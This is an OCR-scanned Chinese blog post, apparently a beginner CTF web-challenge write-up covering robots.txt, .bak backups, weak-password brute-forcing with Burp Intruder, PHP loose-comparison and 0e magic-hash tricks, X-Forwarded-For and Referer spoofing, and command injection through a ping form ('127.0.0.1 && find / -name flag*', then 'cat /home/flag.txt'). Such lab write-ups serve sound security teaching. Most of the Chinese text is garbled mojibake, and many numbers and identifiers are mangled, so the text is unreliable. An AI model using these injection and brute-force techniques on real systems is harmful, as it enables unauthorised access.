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FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
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1" robots

robots #H MY robots.txt & — A7 T MR B % T IASCIRFS I SIA S, ERREMBRIE (BMEIER) LN A6
HEAEL, WRLE Y AR BERINE . BRI — RGP KURLE R/NEEUKK, Bl robots.txt HISCIEZ NS — RN G,
ARG T, MRPHANFHRER, PERAEXRR, BAEHE N robots , #AILASET) A robots.tt B
< C © FZ%| 220.249.52.133:45694/robots.txt

User-agent: #*
Disallow:
Disallow: flaz_ls_h3re. php

FEZ T AT LAE B B 3RR, SE#EVH flag_1s_h3re.php T HE A LAfE Zlflag.

2" backup


https://blog.csdn.net/qq_45805420
https://blog.csdn.net/qq_45805420/category_10100031.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_45805420/article/details/107208232
https://blog.csdn.net/qq_45805420/category_10100031.html

AEEERFERPLERT B0 XANMEE, HIEBIMEREHLRN R .bak. BEAMS HE K5 H index.php BI& 4 SCHF, #ia
index.php.bak W% 2% B A FERAB 2% M. FSublimedT FFiZ 344, BPAI15 Hflag.

Bl c:\users\16875\Downloads\index.php.bak - Sublime Text (UNREGISTERED) - o X

File Edit Selection Find View Goto Tools Project Preferences Help
4pr index.php.bak

>
>
charset="UTF-8">
>ER </ p
href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css™
~el="stylesheet"” />
>

I

L
margin-Left:auto;
margin-right:auto;
margin-TOP ;

width:20em;

</
</ >
< >
<h3>{REE index. phpRI B SXHRIS ? </h 3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCCI8BDE334}"
2>
</ >
</ >

(o Line 18, Column 53 I RS Hifcle

3" weak_auth

TAAEMR, RAFEER, EZREEERIMTL2ELER, LB ERA —ANKSZEL K.

220.249.52.133:39643 T

please login as admin

UEE, MR, ZERBEAEM admin AP LRER, FERRNTUESZTEOEY, KRR, EUEH
FHRIBR R

html lang="en
P sheads.</head
¥ <body
scriptralert('please login as admin');
<!--maybe you need a dictionary--> == %0
* :div class="x1l-chrome-ext-bar” id="x1_chrome_ ext {4DB361DE-@1F7-4376-B494-639E489D19ED}" style
display: none; " >.</div

M AL

/script



</ oouy >

</html>

K, 13 A Burpsuite BB AT B3] flag. GXf# H Burpsuite B HFZRAKIFH. «  EXEE—ANEE RS
78808 :  https://github.com/rootphantomer/Blasting_dictionary)

B! Intruder attack 4 - O *
i #F 5
IEDEREE
WS ETHERE 2
iR | BEEE | #h7s (R #H K v | i
L 123456 200 ] (] 437 A
15595 123456. 200 O [ 437
0 200 O [ 434
1 als2d3fd 200 O [] 434
2 rysj2012 200 O (] 43
3 147 200 O [] 434
4 288 200 O [] 434
b NIG10B 200 O [] 434
6 yyihacker 200 J ] 434
7 cnnsc 200 [l [ 434 .
A 1M 123456 200 [1 |_|_ 434 X
R | e
jﬂaw 2 | Hex I HTML T Render 1
Content-Type: text/html A

<IDOCTYPE htmi=
<html lang="en"=>
<head>
<meta charset="LUTF-8">
<title>weak auth</title>
</head=
<body>

h'herpeace[e3l.'lcﬁ-ﬂlﬂ?h2237h3555ca199141521 ca2}<!--maybe yvou need a dictionary-->

</body>
</html= L]

4" simple_php
AR GIERD AT A, B AET PHP KRB . BUzRBEZER, & a=a, b=1235a EIF]15F/flag.
EXPLSLEER— TR PHP 8RR K.


https://github.com/rootphantomer/Blasting_dictionary

BHAMNMB—THIME, HTML REHFDEEEH ., FARREMRE, BEMNREEFER/RE. BERN- N FRHEENZREE,
a] UME A is_numeric() %, £ PHP F 5 HM LB R BHENHFS == 5 ===,
ST ==, UESHUNEEZRAN, BEEREEBERTHE, YSSHURIAFRN, AHEHRAMERIKHEE, BXERER

EREAT R
&% ===, EHTHBRNNEK, BRANESHUNREREHEE, WRAR, WEEERE fase, WRHEF, HiiTHE
HRGHE.

E—ANHERIETF, TRaNHTF1, BEOAFER1, £ PHP F, $a==3%b L& true , T $a === $b N iR[H false.

HFFREHFHEN, BERFRERIANT, TRESARTFRFHENULL , FHHN0. Fi, “abc” AR
BHONBFIFR R, 1237 “123a” . “Ox12” BY “2e3” B A H AR F M FRFE . PHP FH R R T

MAKB M HFNFRHERELRE RBABFARNFRS, PRSP RO BUE I B B % R B R 3
7o

—MNFRBERIT RIS RE T ERREBERRE, WRIZFAF S USERNBUET 6, R ZHE, 5 HEENO,

FERATHBIEEN, WRBBT " 0e\d+ " XFFRFH, PHP 3L X7 7477 § @A AR F it Bk

¥ FIRF B RS R B R
“admin”==0 0 true
“1admin”==1 1 true
“admin1”==1 0 false

“0e123456"=="0e456789” 0, FFF BRI AR T EUE true
“0e123456a"=="0e456789a" RSB BEELR, THEHR false
“1e3b31"==1000 1000 true
“2e3"==2000 2000 true
“2E3"==2 2000 false
“0x12"==0 0 true
0x12==18 — true

MD5Zeid w2 A ERHRI —FhSERR LA, 2240607, RWBNFTERBFNFRE, ENAMHEE, EHEmdSKEN 9iH%, X
FFRF R EE AR, —FIriER AR 7 E R BX M mdSKIE R LA 0eTT 3k & 57 I P> 775 & B ]

{541
md5("s878926199a" )==md5("s155964671a" )~ true.

md5 ("s878926199a" )N "0e545993274517709034328855841020" ;
md5("s155964671a" )~ "0e342768416822451524974117254469" ;
B AEE  0e\d+ " K, SIRURITRLE I H0E, BUER S To.

HEHBREHE5ETRM, EXER L PHP F i HE < & B bt
PHP: PHP KALLER
PHP: LLHIEHAF

5 xff_referer


https://www.php.net/manual/zh/types.comparisons.php
https://www.php.net/manual/zh/language.operators.comparison.php

W B S B H, X85 X-Forvarded-For fl Referer 5%, #AMT, RIS H BERE FiphbhkW2i8123.123.123.123,
T &8 ) Burpsuite BTN, EHERLHBIN—IH X-Forwarded-For:123.123.123.123 FEKLK, KROTHEHE:

H

<fstyle=
</head=>
<body>
<p id="demo">ip ikt 1 4123.123.123.123</p>
<script>document.getElementByld("demo”).innerHTML="1 251 3¢ E| https://www.google.com™;
<fscript=</bady>
<fhtml> ¥

3
I —
we | (2][<](+] (2] [grEnea REWE

BEAR L H ERiER VIR EBI, FRBEFERLPHEIMN—I referer:https://www.google.com JjaEKEIT], 7E M I MR
HFEPEIE B flag.

X-Forwarded-For:

EIRXFFk, BRERE b, HER HTTP MiERKELHIP, BaiEY, XFFkiteE IRk S LaiiERkE WPt HTTP
R FB . ERARHEER RN X-Forvarded-For: client1, proxy1, proxy2 , Wi ATLAE H, XFFk{EBTAEZA, Hh
FE54M, £—TUAESEMEFiip, B THHEY S48 HRERASIERiptit, SIS HIRIIA.

Referer:

HTTP Refererf header f1—#84r, =4 WEB iR %58 KA TERI &, —f&ii b Referer , & ik 554512 M 72 AHK
AR RE, Ak S5 a8 B B AT CARAE — (5 B A T Ab 2

6° command_execution



KRR ER AWML PITIRIR . SANATERE —NEREREZLEARRERT, e —BHITREm SRR W
PHP #1f] system. exec. shel_exec &, XA P aJUEHIGLSPIITREFHSHN, BUEABRRAGLSIIEE®SF,
& A AT B .

BHAREM T, BHERRBA127.0.0.1RRE—TFHE.

PING

127.0.0.1

PING

ping -c 3 127.8.0.1

PING 127.0.0.1 (127.9.08.1) 56(84) bytes of data.

64 bytes from 127.8.0.1: icmp seq=1 time=08.048 ms
64 bytes from 127.8.8.1: icmp_seq=2 ttl=64 time=86.841 ms
64 bytes from 127.8.8.1: icmp seq=3 ttl=64 time=8.853 ms

--- 127.8.8.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/avg/max/mdev = ©.841/0.847/0.853/8.007 ms

REYRB AR, BT APINGar & § B8R FI B E RAERRE . — 8RB, RMNTUELEFTTLEMN
MAWRERARE . HEBRRGE, BAEAXNNRARMHEK RS S RI K flag.

e TTL=128, iXR& WINNT/2K/XP.
e TTL=32, iXf& WIN9S/98/ME.

TTL=256, iX& UNIX.
e TTL=64, iX& LINUX.

A EARRSA LINUX, FE AR CUER LINUX B R a4 UL flag el ik R et

find / -name "flag*"



KT LINUXHIERHRGE® LW SELUTEE: LnxRAFHERGLS S5
KT WINDOWS HMIHE R R LML SELUTH%E: Wlndows/%?f%“ﬁﬁ Al

PING

127.0.0.1 && find / -name "flag™

PING

ping -c 3 127.0.8.1 && find / -name "flag*"

PING 127.0.0.1 (127.9.0.1) 56(84) bytes of data.

64 bytes from 127.8.8.1: icmp_seq=1 ttl=64 time=8.886 ms
64 bytes from 127.8.8.1: icmp_seq=2 ttl=64 time=8.859 ms
64 bytes from 127.8.8.1: icmp_seq=3 ttl=64 time=8.856 ms

--- 127.8.8.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/avg/max/mdev = ©.056/0.867/0.086/08.013 ms

/home/flag.txt

/proc/sys/kernel/sched domain/cpu®/domaing/flags

/proc/sys/kernel/sched_domain/cpud/domainl/flags

AILAR B H A X PN ST, EREHRAITTHENES flag SUHFMERE, BT RMEM cat ird BRiX
XA A BT 13 2] flag.

cat /home/flag.txt

A BB P MARSHEALT S I EEBAE PING 5425, BSd# w] DEERMA KIS 80U5 FE R B N L3 RA
S, BEMHATIZH <. 8K LINUX fir & [ K ERFF T -

EE
i

&&

=307 BR

AB HIRFRKIAT, AT aLA, BRITHLB

AB EER, wOAMITHIIE, AR S AMmOBASME . HiSAIUTRIR, MR, &ardBIELE AR
H, e,

A&&B BHEE5XR, SAITRINE, T2PITHLB; MAPIT R, N &BARHHAT.

AlIB BEEKR, QARITRME, 7 2WITe4B; AYITRIY, Mar&BABHAT


https://blog.csdn.net/qq_23853743/article/details/84037598
https://blog.csdn.net/qq_23994787/article/details/79498299
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